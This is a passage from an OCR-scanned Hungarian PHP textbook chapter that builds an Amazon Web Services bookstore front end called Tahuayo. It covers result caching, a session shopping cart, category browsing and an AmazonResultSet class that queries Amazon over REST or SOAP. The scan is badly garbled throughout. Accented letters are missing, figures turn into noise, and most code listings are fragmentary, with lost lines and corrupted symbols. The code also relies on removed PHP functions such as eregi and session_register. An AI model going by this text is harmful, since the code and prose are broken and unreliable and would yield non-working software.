segtsgve!. Attl fggen, hogy milyen elemekre van szksgnk, a visszakapott adatok klnbz struktrjak lehetnek.
Minden informci dokumentlva van a weboldalrl elrhet AWS Developer Guide-ban.
33
568
33. fejezet
A fejleszti token ignylse rdekben trtn regisztrcinl el kell fogadni a licencszerzdst. rdemes elolvasni, mert ez
nem teljesen olyan, mint a megszekott - s soha el nem olvasott- szoftverlicencek. A fejleszts szempontjbl fontos licencfel
ttelek a kvetkezk:
Msodpercenknt legfeljebb egy krst intzhetnk.
Gyorsttraznunk kell az Amazontl rkez adatokat.
Az adatok tbbsgt 24 rig, egyes lland attribrumokat legfeljebb hrom hnapig tartharunk a gyorsttrban.
Ha egy rnl hosszabb idre gyorsttrazzuk az rakat s a termkek elrhetsgt, akkor nyilatkozatot kell kzzten
nnk felelssgnk korltozsrl.
Hivatkozsainknak az Amazon.com megfelel oldalra kell mutamiuk, s nem szabad az Amazon oldalrl letlttt
szveget vagy kpeket ms zleti weboldalon megjelenteni.
Ha ilyen nehezen kibetzhet domainnevet vlaszrunk, nem reklmozzuk magunkat, s semmilyen nyilvnval ok nincs
arra, hogy a ltogatk a Tahuayo.com oldalt hasznljk ahelyett, hogy kzveclenl az Amazon.com-ra mennnek, akkor egyl
taln nem kell aggdnunk azon, hogy a krsek szmt msodpercenknt egy alatt tartsuk.
Projektnkben gyorsttrazst alkalmazunk annak rdekben, hogy megfeleljnk a 2-4. pontban megfogalmazott kvetel
mnyeknek. Alkalmazsunk 24 rig trolja gyorsttrban a kpeket, a termkadatokat (gy az rakat s a kszletinformci
kat) pedig egy rig troljuk el itt.
A ltrehozand alkalmazsunk az tdik pontnak is megfelel. Azt szeremnk, hogy a foldalon lv elemek weboldalunk
rszletes termkoldalaira mutassanak, de ha a vsrl vgzett a megrendelssel, tkldjk t az Amazon oldalra.
33
Gyorsttrazs
Korbban mr emltettk, hogy az Amazon felttelei kztt szerepel az is, hogy az Amazonrl a Web Services szolgltatsok
kal letlttt adatokat gyorsttrazni kell. Projektnkben ezrt megoldst kell tallni arra, hogy a letlttt adatokat rvnyess
gi idejkig a gyorsttrban eltroljuk, illetve a gyorsttrbl hasznljuk azokat.
A megolds ttekintse
A 29. s a 30. fejezet projektjhez hasonlan itt is esemnyvezrelt megkzeltssel futtatjuk a kdot. Ennl a projektnl elte
kintettnk a rendszer folyamatbrjnak megrajzolstl, mert pusztn nhny kpernybl ll a rendszer, s egyszer kapcso
lat ll fenn ezek kztt.
A felhasznlk elszr a Tahuayo foldalt ltjk, amit a 33.1 bra mutat.
569
c::::J
._,
-
t..-
com
...
....1 .. ,
Sdeaed CMegori6
t::::J '
33
'
Tlwee C:..,. of Te.: One MlM1'.1 to Promote Pece . . One
SctlOG et a T"-e
llrGfte--O...Itolo
,..._lDD7-0I.J0
........... )
0.."*-:n.
t.J.tpda<IIJ.00SAW$7.H
!S&M.I4!Cl\H"
a..
.".__ *****
..... u
..-,.t..oWl4-
!!:o.,IW!wsDw"'*'tlMWmMQeele!!'t+IM:t.l!ppiiJW.
"'KoioJJo:Jon.
33.2 bra: A rszletes termkoldalakon tovbbi informcikat kapunk egy adott knyvrl, rtkelseket olvashatunk rla,
gy dntttnk, hogy oldalunkon csak a knyvekkel foglalko:;unk, s nem jelentjk meg a:;on kategrik listjt sem, ame
lyekbe az adott kiadvny nem illik bele.
Ha a felhas:;nl egy bort kpre kattint, nagyobb mretben lthatja.
Taln s:;revettk mr az brkon a kperny fels rsn lv keressi me:;t. E:;:;el a funkcival kulcss:;avas keresst indt
hatunk az oldalon, amely a Web Services felleten keres:;tl fog az Amazon katalgusban keresni. A 33.3 bra a keress egy
mintaeredmnyt mutatja.
570
33.fezet
33
33.4 bra: A kosr oldaln a vsrl egyenknt trlheti a kosrban lv tteleket, kirtheti kosart, illetve fizethet.
Vgl, amikor a vsrl a.,Checkout" (Fizets) hivatkozsra kattintva fizetni kszl, kosarnak adatait elkldjk az Amazon
ra, s t is tirnytjuk oda. Ekkor a 33.5 brn lthathoz hasonlhoz kpernyvel tallkozik.
Most mr taln mindenki ltja, hogy mit rtnk az alatt, hogy elksztjk sajt felhasznli felletnket, s az Amazon
oldalt hasznljuk mgttes infrastrukrraknr. Mivel ez a projekt is esemnyvezrelt megkzeltst kvet, az alkalmazs
dnrshoz logikjnak nagy rsze egyeden fJlban tallhat
tartalmazza.
571
---l l l .ll:lill
l fQag 112l!!l
33.5 bra: Mieltt az Amazon kosarba kerlnek a termkek, a rendszer visszaigazolja a tranzakcit,
s a Tahuayo kosarbl mutaga az sszes kivlasztott ttelt.
33.1 tblzat: A Tahuayo alkalmazs fjljai
Lers
Fjlnv
Tpus
index.php
Alkalmazs
about.php
Alkalmazs
constants.php
Beillesztett fjl
topbar.php
Beillesztett fjl
bottom.php
Beillesztett fjl
AmazonResultSet.php
Osztlyfjl
Product.php
Osztlyfjl
bookdisplayfunctions.php
Fggvnyek
cachefunctions.php
Fggvnyek
cartfunctions.php
Fggvnyek
categoryfunctions.php
Fggvnyek
utilityfunctions.php
Fggvnyek
A korbban mr emltett nusoap.php fjlrl sem szabad elfeledkeznnk, mert ezekben a fjlokban szksgnk lesz r.
A NuSOAP a knyv letlthet mellkletnek 33_fej ezet mappjban tallhat, de ha idkzben megjelent mr j verzi
ja, a http:/ l sourceforge.net/ projects/ nusoap/ oldalrl letlthetjk.
Vgjunk bele a projekebe az alkalmazs gerinct kpez index.php rtanulmnyozsval!
Az alkalmazs magja
Az index.php fjl kcljt a 33.3 pldakdban talljuk.
33
572
33. fejezet
require once('constants.php');
require_once('Product.php');
require_once('AmazonR esultSet.php');
require_once('utilityfunctions.php');
require_once('bookdisplayfunctions.php');
require_once('cartfunctions.php');
require_once('categoryfunctions.php');
'ASIN',
'made',
'browseNode',
'page',
'search') ;
$$e = '';
$$e
trim($$e);
33
$made = 'Books';
if($browseNode=='')
$browseNode
if($page=='')
$page = l;
$ASIN))
hogy legyen
$ASIN ='';
if(!eregi('[a-z]+$',
$made))
$browseNode
intval($browseNode);
if(!isset($_SESSION['cart']))
session_register('cart');
$ SESSION['cart'] = array();
$ASIN,
$mode);
if($action == 'deletefromcart')
deleteFromCart($_SESSION['cart'],
$ASIN);
if($action == 'emptycart')
$ SESSION['cart'] = array();
ll fels sv megjelenitse
require_once ('topbar.php');
ll f esemnyhurok. A felhasznl ltal vgrehajtott mveletre vlaszol
switch ($action)
case 'detail':
showCategories($mode);
showDetail($ASIN,
$mode);
break;
case 'addtocart':
case 'deletefromcart':
case 'emptycart':
case 'showeart':
echo "<hr l><hl>Your Shopping Cart<lhl>";
showCart($_SESSION['cart'],
$mode);
break;
case 'image':
showCategories($mode);
echo "<hl>Large Product Image< lhl>";
showimage($ASIN, $mode);
break;
case 'search' :
showCategories($mode);
echo "<hl>Search Results For ".$search."<lhl>";
showSearch($search,
$page,
break;
case 'browsenode':
default:
showCategories($mode);
$mode);
573
574
33. fejezet
$category = getCategoryName($browseNode);
if(! $category
l l
showBrowseNode($browseNode,
$page,
$mode) ;
break;
require ('bottom.php');
?>
Nzzk vgig ezt a fjlt! Elszr is ltrehozunk egy munkamenetet (session). A korbbiakhoz hasonlan irt is munkamenet
vltozknt troljuk a vsrl kosart. Ezt kveten tbb fjlt is beillesztnk. Tbbsgk ksbbiekben bemutatand fggvny, de
az elsknt beillesztert fjllal rdemes most kln foglalkoznunk. Ez a constants.ph p nhny fontos llandt s vltozt defi
nil, olyanokat, amiket az egsz alkalmazsban hasznlni fogunk. A constants.php tartalmt a 33.4 pldakdban talljuk.
33.4 pldakd: constants.php -A fbb globlis llandk s vltozk deklarlsa
<?php
ll az alkalmazs REST (XML over HTTP) vagy SOAP
segtsgvel kapcsoldhat
'SOAP');
'REST');
'cache');
define('ASSOCIATEID',
define('DEVTAG',
ll hibt ad,
'XXXXXXXXXXXXXX');
'XXXXXXXXXXXXXX');
if(DEVTAG=='XXXXXXXXXXXXXX')
33
s tegyk rhatv!
&
3510=>'Web Development',
75=>'Science',
Wine',
21=>'Reference',
27=>'Travel',
16272=>'Science Fiction'
);
?>
Az alkalmazst gy hoztuk ltre, hogy REST tvitellel s SOAP protokollal egyarnt hasznlhat legyen. A kt mdszer
kzte gy vlaszthatunk, hogy a megfelel rtket lltjuk be a METHOD llandban.
A CACHE konstans az Amazonrl letlttt adatok gyorsttrnak elrsi tvonalt trolja. Adjuk meg irt a rendszernkn
hasznlni kvnt elrsi tvonalat!
Az ASSOCIATEID lland Amazon partnerazonostnkat tartalmazza. Ha a tranzakcikkal egytt ezt is elkldjk az
Amazonnak, jutalkot kaphatunk. Ne felejtsk el a kdba berni sajt partnerazonostnkat l
575
AE
D
VTAG
konstans az Amazon ltal regisztrcinkkor adott fejleszti token rtkt trolja. Mdostsuk a kdot sajt
tokennk rtknek megfelelen, klnben az alkalmazs nem fog mkdni! Tokene gy ignyelhetnk, ha regsztrlunk az
http:/ /aws.amazon.com oldalon.
Trjnk most vissza az index. php fjlhoz! A kd az elkszletek utn a f esemnyhurkot tartalmazza. Azzal indul,
hogy kinyerjk a$_REQUEST szupergloblis vltozha GET vagy POST mdszerrel rkez vltozkat. Ezt kveten bellt
juk egyes globlis vltozk rtkr; ezek a vltozk fogjk a ksbbiekben meghatrozni a megjelenirend tartalmat:
ll alaprtelmezett rtkek a globlis vltozknak
if($mode==
'
')
$mode = 'Books';
if($browseNode==' ')
$browseNode = 53;
//az
53
if($page==' )
'
$page = l;
A mode vltoz rtkt Books-ra lltjuk. Az Amazon tbb ms mdot (vagyis termktpust) tmogat, de ebben az alkal
mazsban csak a knyvekkel foglalkozunk. A fejezet kdjt egyszeren mdosthatnnk gy, hogy ms termkkategrikat
is kezelni tudjon. Ennek els lpse a $mode vltoz rtknek megvltoztatsa lenne. Ellenriznnk kellene az Amazon
dokumentcijban, hogy a knyvtl eltr termkek esetn rnilyen ms attribtumokat kapunk vissza, s el kellene tvoltani
a felhasznli felletrl a knyvspecifikus elemeket. A browseNode vltoz hatrozza meg a megjelenteni kvnt knyvka
tegrikat. A vltoz rtkt bellthatja a felhasznl, amikor a kvlasztott kategrik valamelyik hivatkozsra kattint. Mi
magunk 53-ra lltjuk a vltoz alaprtelmezett rtkr, hogy kezelni tudjuk az olyan helyzeteket, arnikor a felhasznl mg
nem vlasztott kategrit - pldul, mert mg csak most nyitotta meg weboldalunkat. Az Amazon bngszsi csompontjai
egyszer egsz szmok, amelyek egy-egy kategrit azonostanak. Az 53-as rtk a Non-Fiction Books, vagyis az ismeretter
jeszt kategrit jelkpezi. Ez legalbb annyira alkalmas a nyitoldalon val megjelentsre, mint brmely msik kategria,
hiszen a taln legjobb ltalnos kategrik (kztk pldul a sikerlists knyvek) nem rhetk el bngszsi csompontknt.
A page vltoz kzli az Amazonnal, hogy az adott kategrin bell a tallatok mely rszhalmazt kvnjuk megjelenteni.
Az l. oldal az 1-10. tallatokat, a 2. oldal a 11-20. tallatokat tartalmazza, s gy tovbb. Az egy oldalon megjeleniehet kny
vek szmt az Amazon hatrozza meg, ezt az rtket nem ll mdunkban megvltoztatni. Azt termszetesen megrehetnnk,
hogy oldalainkon kt vagy tbb Amazon oldalnyi adatot jelentnk meg, de az oldalanknt tz knyv egyrszt sszer mennyi
sg, msrszt felesleges lenne megnehezteni sajt dolgunkat.
Ezt kveten megtiszttjuk az esetlegesen a keressi mezben vagy a E
G
T vagy POST paramter ltal kapott beviteli rtkeket:
ll beviteli adat ellenrzse/megtiszttsa
if(!eregi(
'A
[A-Z0-9] +$',
$ASIN))
$mode))
'Books';
$page=intval($page);
intval($browseNode);
Semmi jdonsg nincsen a fenti kdrszletben. AsafeString () fggvnyt a utilityfunctions. php fjlban tall
juk. Egyszeren az a feladata, hogy regulris kifejezs segtsgvel eltvoltsa a beviteli karakterlncokbl a nem alfanumerikus
karaktereket. Mivel ezzel a tmval korbban mr rszletesen foglalkoztunk, a fggvny kdjt itt s most nem kzljk.
A legfbb oka annak, hogy alkalmazsunkban ellenriznnk kell a felhasznl ltal bevitt szveget, az, hogy az ilyen bevitele
a gyorsttrban hasznlt fjlnevek ltrehozsra fogjuk felhasznlni. Komoly problmkba futhatnnk bele, ha a felhasznlk
.. vagy l karaktert hasznlhatnnak az ltaluk bevitt adatokban.
33
576
33. fejezet
session_register{'cart');
$ SESSION['cart'] = array{);
Mg mindig vr rnk nhny feladat, mieltt megjelenthetnnk az oldal tetejn lv informcis svban szerepl adatokat
(a 33.1 brra visszalapozva felidzhetjk, hogyan nz ki ez a sv). Minden oldal fels svjban megjelenik a kosr, ezrt fontos,
hogy az informcis sv megjelentse eltt naprakssz tegyk a kosr vltozjt:
ll a fels sv megjelenitse eltt vgrehajtand feladatok
if{$action == 'addtocart') {
addToCart{$ SESSION['cart'],
if{$action == 'deletefromcart')
$ASIN,
deleteFromCart{$ SESSION['cart'],
if{$action == 'emptycart')
$ SESSION['cart']
$mode);
$ASIN);
= array{);
Ezzel a kddal szksg esetn knyveket adhatunk a kosrhoz, illetve trlhetnk belle, mieltt megjelentennk azt.
Ksbb mg visszatrnk ezekre a fggvnyekre, amikor a kosr s a fizets mkdst mutatjuk be. Ha szeretnnk most meg
vizsglni, a cartfunctions.php fjlban talljuk ket. Egyelre azonban nem foglalkozunk velk, mert elszr az Amazon
hoz kapcsold felletet kell megrtennk.
Ezt kveten beillesztjk a topbar. php fjlt, ami HTML kdot, egy stluslapot s a cartfunctions.php fjlban lv
ShowSmallCart{ ) fggvny hvst tartalmazza. Ez utbbi jelenti meg a kosr tartalmt sszefoglal adatokat, amelyeket az
brk jobb fels sarkban tallunk. A kosr funkeit megvalst fggvnyek trgyalsakor mg visszatrnk erre a fggvnyre.
Vgl elrtnk a f esemnykezel h urokhoz. A lehetsges mveleteket a 33.2 tblzatban talljuk.
3 3.2 tblzat: A J esemnyhurok
Mvelet
lehetsges mveletei
Lers
browsenode
detail
image
search
addtocart
deletefromcart
emptycart
showeart
A fenti tblzatban szerepl els ngy mvelet az Amazontl szrmaz adatok visszakeressvel s megjelentsvel kapcso
latos, a msodik ngy pedig a kosr kezelsvel foglalkozik.
Az Amazontl adatot visszakeres mveletek mind hasonlkppen mkdnek. Nzzk meg pldaknt, hogyan lehet egy
A showCategories () fuggvny a kivlasztott kategrik listjt jelenti meg, amely listt az oldalak tbbsgnl azok
fels rszn lthatjuk. A getCategoryName () fuggvny a neki radott browsenode rtk alapjn az adott kategria nevt
adja vissza. A showBrowseNode () fuggvny az abban a kategriban tallhat knyvekbl jelent meg egy oldalnyit.
Vizsgljuk meg legelszr a showCategories() fuggvnyt! Kdjt a 33.5 pldakdban talljuk.
33.5 pldakd: A categoryfunctions.phpknyvtr showCategories ()fggvnye- A kivlasztott kategrik listja
ll npszer kategrik listjnak megjelenitse
function showCategories($mode) {
global $categoryList;
echo "<hrl><h2>Selected Categories<lh2>";
if($mode ==
'Books')
asort($categoryList);
Seategories = count($categoryList);
$columns = 4;
$rows = ceil($categoriesl$columns);
echo "<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\"><tr>";
reset($categoryList);
for($col = 0;
$col<$columns;
$col++)
$row<$rows;
$row++)
each($categoryList);
if($category)
$browseNode = $category['key');
$name = $category['value');
echo "<li><span class=\"category\">
<a href=\"index.php?action=browsenode&browseNode=".$browseNode."\">"
.$name."<la><lspan><lli>";
echo "<lul><ltd>";
echo "<ltr><ltable><hrl>";
A fuggvny a categoryList nev, a constants.php fjlban deklarlt tmbbel llaptja meg a browsenode szmok
hoz tartoz kategrianeveket. A hasznlni kvnt kategrikat egyszeren begpeltk ebbe a tmbbe. A fuggvny rendezi
a tmbt, s megjelenti a klnbz kategrikat.
A f esemnyhurokban kvetkeznek meghvott getCa tegoryName() fuggvny kikeresi az aktulisan megtekintett
browsenode nevt. Erre azrt van szksg, hogy megjelentsle a kpernyn a cmsort, pldul: Current Best Sellers
in Business & Investing (Az ..zlet s befektets" kategria jelenlegi sikerlists knyvei). A fuggvny az imnt emltett
categoryList tmbbl keresi ki a nevet.
Az igazn izgalmas dolgok akkor kezddnek, amikor a 33.6 pldakdban lthat showBrowseNode() fuggvnyhez rnk.
577
578
33. fezet
knyvek listja
ll Adott kategriban megjelent egy oldalnyi termket
function showBrowseNode($browseNode,
$ars = getARS('browse',
$page,
$mode}
array('browsenode'=>$browseNode,
'mode'=>$mode}};
showSurnrnary($ars->products(},
$page,
$ars->totalResults(},
$mode,
$browseNode};
A showBrowseNode(} fggvny egs:z:en pontosan kt dolgot tes:z;. Els:z:r is meghvja a cachefunctions. php knyv
tr getARS(} fggvnyt, amely ArnazonResult Set objektumot fogad s ad viss:z:a (a kvetke:z: rs:z;ben bvebben tte
kintjk e:z:t a fggvnyt). E:z:utn meghvja a bookdi splayfunctions. php knyvtr showSummary (} fggvnyt, hogy
megjelentse a viss:z:akeresett informcikat.
A:z: egs:z: alkalma:z:s mkdsnek htterben a getARS(} fggvny ll. Ha vgign:z::z;k a tbbi mvelet- a rs:z:letes
knyvadatok megtekintse, a kpek megjelentse s a keress- kdjt, ltni fogjuk, hogy mindenhol e:z::z:el a fggvnnyel tall
ko:z:unk.
$parameters} {
$cache = cached($type,
$parameters};
if ($cache}
33
return $cache;
else
if($type == 'browse'}
$parameters['mode']};
$ars->browseNodeSearch($parameters['browsenode'],
$parameters['page'],
$parameters['mode']};
if($type == 'search'}
$ars->keywordSearch($parameters['search'],
$parameters['page'],
$parameters['mode']};
cache($type,
$parameters,
$ars};
return $ars;
A fggvny feladata, hogy bes:z:ere:z;:z;e a:z; Ama:z:onrl s:z:rma:z: adatokat. Ktflekppen teheti ezt meg: gyorsttrbl vagy
k:z:veclenl a:z; Ama:z:onrl. Mivel a:z; Ama:z:on megkveteli a fejles:z:tktl a letlttt adatok gyorsttra:z:st, a fggvny elszr
a gyorsttrban keres. A gyorsttrrl rvidesen rs:z:letesebben is s:z: esik majd.
579
Ha az adott lekrdezst mg nem hajtottuk vgre, az adatokat lben kell lekrni az AmazonrL Ezt gy tehetjk meg. hogy
ltrehozzuk az AmazonResultSet osztly egy pldnyt, majd meghvjuk rajta a futtatni kvnt lekrdezsnek megfelel
metdust. A lekrdezs tpust a $type paramterben hatrozzuk meg. Ha pldul adott kategriban (vagyis bngszsi
csompontban) keresnk, a browse rtket adjuk t a paramterben (lsd a 33.6 pldakdot!). Ha adott knyvre vonatkoz
keresst kvnunk vgrehajtani, asin lesz a paramter rtke, ha pedig kulcsszavas keresst akarunk folytatni, search-re kell
lltani a paramtert.
Mindegyik paramter ms s ms metdust hv meg az AmazonResult Set osztlyon. Ha adott knyvre keresnk, az
ASINSearch () metdust hvjuk meg. Kategriban keresskor a browseNodeSearch(), kulcsszavas keress esetn pedig
<?php
include once('nusoaplliblnusoap.php');
private $browseNode;
private $page;
private $mode;
private $url;
private $type;
private $tota1Results;
private $currentProduct = null;
private $products = array();
33
function products()
return $this->products;
function totalResults()
return $this->tota1Results;
function getProduct($i)
if(isset($this->products[$i]))
return $this->products[$i];
else
return false;
$page,
$this->Service = "AWSECommerceService";
$mode)
580
33.fezet
Sthis->Operation = "ItemSearch";
$this->AWSAccessKeyid = DEVTAG;
$this->AssociateTag = ASSOCIATEID;
$this->BrowseNode = $browseNode;
Sthis->ResponseGroup
"Large";
Sthis->Searchlndex= $mode;
$this->Sort= 'salesrank';
$this->Tota1Pages= $page;
if(METHOD=='SOAP')
$soapclient = new nusoap client(
'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',
'wsdl');
$soap_proxy = $soapclient->getProxy();
$request = array ('Service' => Sthis->Service,
'BrowseNode' => Sthis->BrowseNode,
'TotalPages' =>
$this->Tota1Pages);
$parameters = array('AWSAccessKeyid' => DEVTAG,
'Request'=>array($request));
ll a tnyleges soap lekrdezs vgrehajtsa
$result = $soap_proxy->ItemSearch($parameters);
if(isSOAPError($result))
return false;
$this->totalResults = Sresult['TotalResults'l;
33
foreach($result['Items' l ['Item' l
$this->products[l
as $product)
= new Product($product);
unset($soapclient);
unset($soap_proxy);
else {
ll URL ltrehozsa s a parseXML meghvsa letlts s rtelmezs cljbl
$this->url = "http:llecs.amazonaws.comloncalxml?".
"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".Sthis->AssociateTag.
"&AWSAccessKeyid=".$this->AWSAccessKeyid.
"&BrowseNode=".$this->BrowseNode.
"&ResponseGroup=".$this->ResponseGroup.
"&Searchlndex=".Sthis->Searchlndex.
"&Sort=".$this->Sort.
"&TotalPages=".Sthis->TotalPages;
$this->parseXML();
581
return $this->products;
$mode)
foreach($this->products as $product)
$product->imageURLLarge();
ll ha nem tallhat
$this->ASINSearch($ASIN,
$mode);
return $this->products(0)->imageURLLarge();
constants.php
fjlban vlthatunk
ASINSearch($ASIN,
$mode = 'books')
$this->type = 'ASIN';
$this->ASIN=$ASIN;
$this->mode = $mode;
$ASIN = padASIN($ASIN);
$this->Service = "AWSECommerceService";
$this->Operation = "ItemLookup";
$this->AWSAccessKeyid = DEVTAG;
$this->AssociateTag = ASSOCIATEID;
$this->ResponseGroup = "Large";
$this->IdType = "ASIN";
33
$this->Itemid = $ASIN;
if(METHOD=='SOAP')
'wsdl');
$soap_proxy = $soapclient->getProxy();
=> $this->Service,
$this->ResponseGroup,
'Itemid' =>
$this->Itemid);
if(isSOAPError($result))
return false;
582
33.
fejezet
$page,
$mode
'Books')
$this->Service = "AWSECommerceService";
$this->Operation = "ItemSearch";
$this->AWSAccessKeyld = DEVTAG;
33
$this->AssociateTag = ASSOCIATEID;
$this->ResponseGroup = "Large";
$this->Searchlndex= $made;
$this->Keywords= $search;
if(METHOD=='SOAP')
$soapclient = new nusoap client(
'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',
'wsdl');
$soap_proxy = $soapclient->getProxy();
$request = array ('Service' => $this->Service,
'ResponseGroup' => $this->ResponseGroup,
'Keywords'
=> $this->Keywords);
583
return false;
$this->tota1Results = $result['Tota1Results'];
foreach($result['Items'] ['!tem']
$this->products[]
as $product}
= new Product($product};
unset($soapclient};
unset($soap_proxy};
else
"http:llecs.amazonaws.comloncalxml?".
$this->url
"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".$this->AssociateTag.
"&AWSAccessKeyid=".$this->AWSAccessKeyld.
"&ResponseGroup=".$this->ResponseGroup.
"&Searchlndex=".$this->Searchlndex.
"&Keywords=".$this->Keywords;
$this->parseXML(};
return $this->products;
ll hibk elnyomsa,
$xml = @simplexml_load_file($this->url};
if(!$xml}
@simplexml_load_file ($this->url};
if(!$xml}
return false;
$this->tota1Results = (integer}$xml->Tota1Results;
foreach($xml->Items->Item as $productXML}
$this->products[]
= new Product($productXML};
?>
Ez az igen hasznos osztly pontosan azt a munlcit vgzi el, amire az osztlyok valk. Szp fekete dobozba zrja az Amazonhoz
szksges felletet. Az Amazonhoz val kapcsolds az osztlyon bell a REST s a SOAP mdszerrel is ltrehozhat. Az osz
tly ltal tnylegesen alkalmazorr mdszert a constants.php fjlban bellitorr globlis METHOD lland rtke hatrozza meg.
Kezdjk azzal, hogy visszatrnk a kategrin belli keress pldjra! A kvetkezkppen hasznljuk ekkor az
AmazonResultSet osztlyt:
33
584
33. fejezet
Az osztly nem rendelkezik konstruktorral, gy trjnk r egyenesen a browseNodeSearch () metdusra! Ennek hrom
paramtert adunk t: a bennnket rdekl browsenode szmt (ami mondjuk a Business & Investing vagy a Computers &
Internet kategrinak felel meg), a:z; oldal szmt, ami a visszakeresni kvnt rekordokat hatrozza meg, illetve a mdot, ami az
rintett termktpusra utal. A 33.9 pldakdban a kdnak ezt a metdust tartalmaz rszlett olvashatjuk.
33.9 pldakd: A browseNodeSearch() metdus -Keress kategriban
ll A lekrdezs vgrehajtsval a kategria termkeivel teli oldalt kapunk vissza
ll A constants.php fjlban vlthatunk XMLIHTTP s SOAP kztt
ll Product objektumok tmbjt adja vissza
function browseNodeSearch($browseNode,
$page,
$mode)
$this->Service = "AWSECommerceService";
$this->Operation = "ItemSearch";
$this->AWSAccessKeyid
$this->AssociateTag
ASSOCIATEID;
DEVTAG;
$this->BrowseNode = $browseNode;
$this->ResponseGroup = "Large";
$this->Searchindex= $mode;
$this->Sort= 'salesrank';
$this->Tota1Pages= $page;
if(METHOD=='SOAP')
$soapclient = new nusoap client(
'http:llecs.amazonaws.comiAWSECommerceServiceiAWSECommerceService.wsdl',
'wsdl');
$soap_proxy = $soapclient->getProxy();
33
'TotalPages' =>
$this->Tota1Pages);
$parameters = array('AWSAccessKeyid' => DEVTAG,
'Request'=>array($request));
ll a tnyleges soap lekrdezs vgrehajtsa
$result = $soap_proxy->ItemSearch($parameters);
if(isSOAPError($result))
return false;
$this->tota1Results = $result['Tota1Results'];
foreach($result['Items'] ['Item'] as $product)
$this->products[] = new Product($product);
unset($soapclient);
585
unset($soap_proxy);
else
$this->url = "http:llecs.amazonaws.comloncalxml?".
"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".$this->AssociateTag.
"&AWSAccessKeyid=".$this->AWSAccessKeyid.
"&BrowseNode=".$this->BrowseNode.
"&ResponseGroup=".$this->ResponseGroup.
"&Searchindex=".$this->Searchindex.
"&Sort=".$this->Sort.
"&TotalPages=".$this->TotalPages;
$this->parseXML();
return $this->products;
A METHOD konstans rtktl fggen a metdus REST-en vagy SOAP-on keresztl hajtja vgre a lekrdezst,de term
szetesen mindkt krsben ugyanazokat az informcikat kldi el.
A fggvny elejn az albbi sorok lthatk, amelyek a krs vltozit, illetve azok rtkt adjk meg:
$this->Service = "AWSECommerceService";
$this->Operation = "ItemSearch";
$this->AWSAccessKeyid = DEVTAG;
$this->AssociateTag = ASSOCIATEID;
$this->BrowseNode = $browseNode;
$this->ResponseGroup = "Large";
$this->Searchindex= $mode;
$this->Sort= "salesrank";
$this->Tota1Pages= $page;
A fenti rtkek kzl nhnyat- pldul a $browseNode, a $mode s a $page vltozban szerepl rtket- az alkal
mazs ms rszeiben lltunk be. Ms rtkek,gy a DEVTAG s az ASSOCIATEID pedig konstansok. Megnt msok- gy
a $this->Service, a $this->Operation s a $this->Sort is- statikusak.
A minimlisan szksges vltozk kre a krs tpustl fgg; a fenti pldban egy adott kategria eladsi szmok szerint
sorba rendezett knyveit bngsszk. Ms vltozkat hasznlunk, ha adott knyvre vagy kulcssz alapjn keresnk. A vlto
zk listjt az AmazonResultSet.php fjl browseNodeSearch (), ASINSearch (),illetve keywordSearch () fgg
vnynek elejn lthatjuk. Az egyes krstpusok esetn elvrt vltozkrl az AWS Developer's Guide-ban tallunk rszletes
tmutatst.
A kvetkezkben azt vizsgljuk meg, hogyan hozzuk ltre a browseNodeSearch () fggvnyben a REST s a SOAP le
krdezsre irnyul krst. A krs ltrehozsnak formja koncepcijt tekintve azASINSearch ( ) s a keywordSearch ()
fggvnyben is hasonl.
"http:llecs.amazonaws.comloncalxml?".
"Service=".$this->Service.
"&Operation=".$this->Operation.
"&AssociateTag=".$this->AssociateTag.
33
586
33. fejezet
"&AWSAccessKeyld=".$this->AWSAccessKeyld.
"&BrowseNode=".$this->BrowseNode.
"&ResponseGroup=".$this->ResponseGroup.
"&Searchlndex=".$this->Searchlndex.
"&Sort=".$this->Sort.
"&Tota1Pages=".$this->Tota1Pages;
Az alap URL jelen esetben a htcp:/ l ecs.amazonaws.com/onca/xml. A vltozk nevt s rtkt ehhez hozzfzve GET
lekrdezsi karakterlncot hozunk ltre. Ezek teljes dokumentcijt, illerve a tbbi lehetsges vltozt az AWS Developer's
Guide-ban talljuk. A paramterek belltsa utn meghvjuk a
$this->parseXML();
metdust, hogy elvgezze a lnyegi munkt. A parseXML () metdus kdjt a 33.10 pldakdban lthatjuk.
33.10 pldakd: A
ll
XML rtelmezse
function parseXML ()
ll
hibk elnyomsa,
ll
return false;
$this->tota1Results = (integer)$xml->Tota1Results;
foreach($xml->Items->Item as $productXML)
$this->products[]
33
= new Product($productXML);
A simplexml_load_file () vgzi el szmunkra a munka rdemi rszt. Az XML tartalmat f:ijlbl vagy- mint pl
dnkban- URL-bl olvassa be. Objekrumorientlt felletet (interfszt) nyjt az XML dokumenrumban lv adatokhoz s
struktrhoz. Ez a fellet hasznos lenne ugyan, de mivel a REST vagy SOAP mdszerrel rkezett adatokat kezelni kpes
interfszfggvnyekre van szksgnk, sajt objekrumorientlt felletet hozunk ltre ugyanezekhez az adatokhoz (amelyek
a Product osztly pldnyaiban helyezkednek el). Figyeljk meg: a REST mdszernl rpusknyszertssel PHP vltozt
pusokk alaktjuk az XML attribrumait! A Product osztly elssorban a privt tagjaiban trolt adatok elrsre szolgl
elrfggvnyeket tartalmaz, gy felesleges lenne irt a teljes fjlt szerepeltetni. Az osztly s a konstruktor szerkezett azonban
rdemes megvizsglni. A 33.11 pldakd a Product osztly defincijnak egy rszt tartalmazza.
33.11 pldakd: A Product osztly magba zrja az egyes Amazon-termkekrl meglv adatainkat
class Product
private $ASIN;
private $productName;
private $releaseDate;
private $manufacturer;
private $imageUrlMedium;
private $imageUrlLarge;
private $listPrice;
private $ourPrice;
private $salesRank;
private $availability;
587
private $avgCustomerRating;
private $authors = array();
private $reviews = array();
private $similarProducts
private $soap;
function
= array();
construct($xml)
__
if(METHOD=='SOAP')
$this->ASIN = $xml['ASIN'];
$this->productName
$xml['ItemAttributes']['Title'];
if (is_array($xml['ItemAttributes']['Author'])
!= "")
foreach($xml['ItemAttributes']['Author'] as $author)
$this->authors[] = $author;
else
{
$xml[ 'IternAttributes' l ['Author' l;
$this->authors[]
$this->releaseDate
$xml['ItemAttributes']['PublicationDate'];
$this->manufacturer = $xml['ItemAttributes']['Manufacturer'];
$this->imageUrlMedium = $xml['Mediumimage']['URL'];
